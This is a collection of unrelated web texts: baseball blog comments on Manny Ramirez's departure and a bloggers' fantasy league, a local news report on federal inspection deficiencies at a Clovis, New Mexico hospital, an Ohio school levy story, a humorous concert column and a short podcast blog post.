3 Bay Area chr… 96-87-7
4 Team Diatribe 89-96-5
5 Braves World 79-98-13
1 Bob's Boston… 102-78-10
2 Mets Main Ma… 96-88-6
3 TheMetsBlog … 81-96-13
4 Holly's Iris… 74-104-12
5 Julia's Ranters 47-135-8
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Cliff: I wish you were in a separate division!.
Good Luck Manny!
I'll miss you Manny! You gave us some thrilling moments at Dodger Stadium and on the road. You seem like you maintained a good relation with your teamates and you were always nice with the fans. Yes, you did not want to speak to the Media at the end but I don't blame you after reading some from the LA Times.
Thanks for taking the time to take a picture with me and asking my brother if the picture came out OK. Good luck with the White Sox! I'll be rooting for you to do well.
BTW, what a way for Manny to have his last at-bat with the Dodgers! He gets tossed after one swing in the sixth inning coming in as a pinch hitter.
This Dylan reporting on Manny's last at-bat from Dylan Hernandez of the LA times
In the aftermath of the loss, Torre said he was shocked by Ramirez's ejection, which took place with the Dodgers trailing, 8-2.
The way Torre later recounted the story, a part of him was startled by how quickly Ramirez was ejected. A part was thinking about whom he would send to hit for Ramirez. And a part was upset at Ramirez, figuring he must have said something vile to home plate umpire Gary Cederstrom to be tossed.
After Ramirez's replacement, Reed Johnson, grounded into an inning-ending double play, Torre said he went into the clubhouse to scold Ramirez. But Ramirez told him he never cursed at Cederstorm, an account Torre said the umpire later confirmed.
"I was very disappointed in the fact that [Cederstrom] threw him out because he said the pitch was outside and he was 'demonstrative' about it, quote, unquote," Torre said. "What does that mean?"
Torre said he apologized to Ramirez.
Ramirez had nothing to say on the matter
Cederstom: "demonstrative" like in how we Latinos talk with our hands? Please
NMB,MLB keep a closer look on umpiring!
note; LOL. meant to say MLB instead of the NMB. I was working on something for the company NMB. .
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Wow Emma, I didn't know that the MLB bloggers had a fantasy baseball league…that's cool! It's sounds a lot like the head-to-head fantasy baseball league I organized with various sports card trading forums. Perhaps you've seen me write about it on my blog at http://www.andystadium.com. Is yours on Yahoo? Keep us posted on your fantasy playoffs. Buena suerte! Good luck!
I am glad Manny is gone. He is a colorful personality but can't help the Dodgers much now. That was some strange last at bat. I was at last night's game and was glad to see the crowd got really into it without Manny there. I think it's just time to move on.
ps what does NMB do? I am not familiar.
Our is on ESPN. I had only played on Yahoo before and not with so many teams like the MLB Bloggers. Thanks! Buena suerte to you!
Yep! It was time to end the marriage. That was an exciting game last night! I was cursing Victorino for getting that single. LOL on NMB! I meant MLB! Sorry! I was working on something for the company NMB.
I look at Manny as a "Bad News, Worst News" proposition. Bad news – he leaves L.A. His last at-bat was not the way I'd like to see him leave. The Worst News is that he's on the South Side of Chicago. That alone is an uncomfortable feeling.
And, good going on your Fantasy League record. Bear RR!🙂
AS the defnding champ I wanted to be in a good division. I knew since you got 3 picks before I even began picking players (due to keepers) I would be at a disadvantage.
But I also thought the 4 best teams would make the Winner's bracket of the playoffs.
Even though I have passed 3 of the 4 division leaders, not until this Sunday was the division safe for you to claim….But it is all for fun, no prizes, no real trophies, just great times trying to support our teams and our favorite players ( I wanted Matt Joyce).
Congrats on the division, now go beat the snot out of the other guys and I will meet you again in 2011.
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Is that because you might see him in Chicago. Is that like a bad part of Chicago? I don't know much about Chicago. Thanks on the congrats. RR deserved to go to the playoff.
Yeah RR, is all for fan. I wish that we would have more teams go to the playoff like you with the second best record.


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By Marlena Hartz: CNJ Staff Writer
Plains Regional Medical Center officials breached federal regulations regarding administering drugs, disposal of medical waste and documenting quality control, according to a federal report issued after a February inspection of the hospital.
The Clovis hospital was found to be deficient in 13 federal requirements for hospitals, according to the report, obtained this week by the Clovis News Journal through the Freedom of Information Act.
Deficiencies included the improper disposal of infectious waste and inadequate training for contracted service providers. Also, registered nurses at the hospital administered sedatives without proper training, and restraint of patients was insufficiently documented. Discharge procedures for patients were also deemed deficient in the report, and meals served at the hospital were not in accordance with nutrition standards set by physicians.
But the number of deficiencies at PRMC is minimal when compared to the number found at other hospitals that have been inspected due to complaints, according to Tony Salters, a federal spokesperson for the agency that issued the report, Centers for Medicare and Medicaid Services.
A spokesperson from PRMC's parent company, Presbyterian Healthcare Services, said the cause of the deficiencies "was really immaterial to preventing it from happening again."
"I don't want to make any excuses," Presbyterian spokesperson Todd Sandman said.
"Going back to describe the motive gets us away from the solution. It is only important to go forward and say what is the standard and how can we meet it every time."
PRMC administrator Brian Bentley, PRMC Board of Trustees Chairman Steve Hudson and board member Allan Haynes all resigned from their positions about the time the New Mexico Department of Health inspected the hospital in February.
A woman who answered the phone Tuesday at Bentley's home said he declined to comment on the contents of the report or his reasons for his resignation.
Hudson and Haynes could not be reached for comment this week, but both have said they left the board for personal reasons not related to the inspection.
The federal assessments of PRMC were based on interviews, record reviews and observations. Inspections officials randomly sampled patient records to assess performance at the hospital.
As a result of the findings, leaders of the hospital and executive officials were critiqued in the report.
A four-day, full scale inspection of PRMC was launched on May 6 as a result of the February inspection. Both inspections were conducted by the New Mexico Department of Health on behalf of CMS. It is likely the hospital will have to create an action plan in response to the second inspection, PRMC officials have said.
"The good news for our patients is CMS came back and did a top to bottom inspection of the hospital. We have had very positive feedback that they were satisfied that we had corrected the initial deficiencies," Sandman said.
PRMC officials said some of the paperwork and processing issues identified in the initial survey linger, but are being handled. A report of the full survey of the hospital will be available to the public 60 days after it has been filed at CMS, Salters said.
Inspections of hospitals by regulatory agencies are a routine part of the health care industry, PRMC and federal health officials have said. The initial inspection of the hospital, however, was triggered by a complaint. The report did not say who filed the complaint.
"We are pleased at the progress we have made since the original findings," Sandman said.
"PRMC is going to be a better hospital because of this process."
Hoyt Skabelund, 37, of Socorro, will take over as hospital administrator in late June.
PRMC, which is owned by Presbyterian Healthcare Services, serves more than 110,000 people living within a 100-mile radius of the city of Clovis, according to its Web site.


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Switzerland of Ohio to go for another levy
WOODSFIELD – The Switzerland of Ohio Local School District will put another levy on the November ballot. The passing of this levy would mean the end to the hiring freeze and would bring back several programs and positions that were eliminated.
"The most important item to come before the board is we will be placing a levy back on the ballot to generate funds so that we can operate in a positive and successful manner," said Switzerland of Ohio Local School Superintendent Larry Elliott. "We are doing more with less next year, and it is imperative that we get additional funding."
Several cuts and changes have been made so that the district will have money to operate. Elliott also said during his superintendent's report at Thursday's meeting of the school board that he fears the district's cuts might have gone too deep. With that, the board would revisit several of these decisions.
The superintendent added that he, the board and the staff are more than willing to sit down and evaluate the district's staffing and curriculum needs, noting there are a couple of areas that may need to be revisited.
One of the areas to which Elliott was referring was the French program, one of those cut when the levy failed in May. Students who want to graduate with honors cannot without the remaining courses that are necessary.
It was decided that the board would hire back two French teachers that would allow these students to receive honors. No new students will be permitted to take the classes and only French 2, 3 and 4 will be offered. Along with two French teachers, the board also will have one social worker and district carrier jobs openings. The board will also have a talented and gifted job opening. Elliott is currently looking into federal funding for the TAG post.
Another issue that was brought to the board's attention is the sports eligibility grade point average. The current policy states that the minimal GPA that a student athlete needs to participate in high school athletics is a 1.52, which is a D-plus average. The board will address this in a special meeting held June 28 at 8 a.m. The meeting will be an open meeting.
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Somewhere along life's path my music changed from Rock 'n' Roll to Classic Rock.
Most of it is dubiously preserved on vinyl but there are a select few bands still out there bringing it live and I got the chance to see two of my favorites last weekend in Lubbock.
That "Little Ol' Band from Texas" ZZ Top and Lynyrd Skynyrd came to town on the same bill and at a great price. I couldn't resist and apparently neither could close to 10,000 other old fogies.
ZZ Top, a three-piece outfit from Texas came up with their own brand of Texas blues rock that never faded, it just welcomed in new generations. Lynyrd Skynyrd became synonymous with what became known as Southern Rock and the name lives on despite a plane crash that took out a big chunk of the band the year I graduated high school.
I was a fan of ZZ Top long before the trademark beards sprouted from the faces of frontmen Billy Gibbons and Dusty Hill and most of my Lynyrd Skynyrd collection dates before the crash so this concert promised to be a bit of a time capsule for me, despite the beards.
Instead, when I got there it quickly reminded me of an old farts' convention.
Handicapped parking was at a premium for some reason. We tried to smuggle a beverage inside but they stopped us and confiscated the bottled water we would need to take a pill later. It's not like it was the whiskey we had no problem sneaking into a concert years ago.
Waiting in line to replace the water we brought with a $5 bottle from the concession, the guy in front of me remarked that it looked like a great place for an AARP booth. We both agreed that while the crowd might be a little worried about its golden years neither of the two bands would likely have to retire on Social Security.
As we got to the arena concourse to go in my wife, a rock concert novice, got a little concerned. Is it hazy or do my contacts need cleaning? I assured her everything was fine it was just the fog machine. In my day that fog might have been something all together different with a distinct smell.
As soon as the concert started I noticed a few other things that had changed in 40 years. Instead of Bic lighters held in the air, crowds these days hold up their glowing cell phones or digital cameras.
The first thing security did was walk a guy out who lit up a cigarette. Soon they were hauling drunks up the steps who didn't look that bad off. Way back when, they didn't bother someone unless they were throwing up on others or their friends couldn't wake them. All that's probably not a bad thing.
At one time rock n' roll was never loud enough for me but I questioned if they really needed to try and make our ears bleed at this concert. But then most of the fans probably just took their hearing aids out for the evening and felt young again.
I knew my glory years had passed when my wife leaned over and yelled into my ear; "Which one's Lynyrd Skynyrd?
I yelled back that none of them was Lynyrd Skynyrd. Mr. Skinner was one of their high school teachers. She just looked at me with a puzzled face and asked me to pass the bottled water.


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Weekend at Jeffy's
As you probably know by now, last weekend I finally got to sit down with Jeff and Johanna to record an RSBS Podcast in person. The recording session took place around noon but the day didn't end there. No, it continued for many hours, many drinks and many laughs. Sadly, though, we apparently did not party hard enough because it pales in comparison to the weekend Robert Young and Mark Rubinson had.
One of these days I'll find myself back in the Chi and I hope we can take a mulligan on last weekend's events. I think that if we really tried, we could even go so hard that we become Angels' fans:
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Wow. Just saw the end of Cardinals-Phillies. Congrats, Jeff! Now you and Allen both have teams in the playoffs. Let the games begin.


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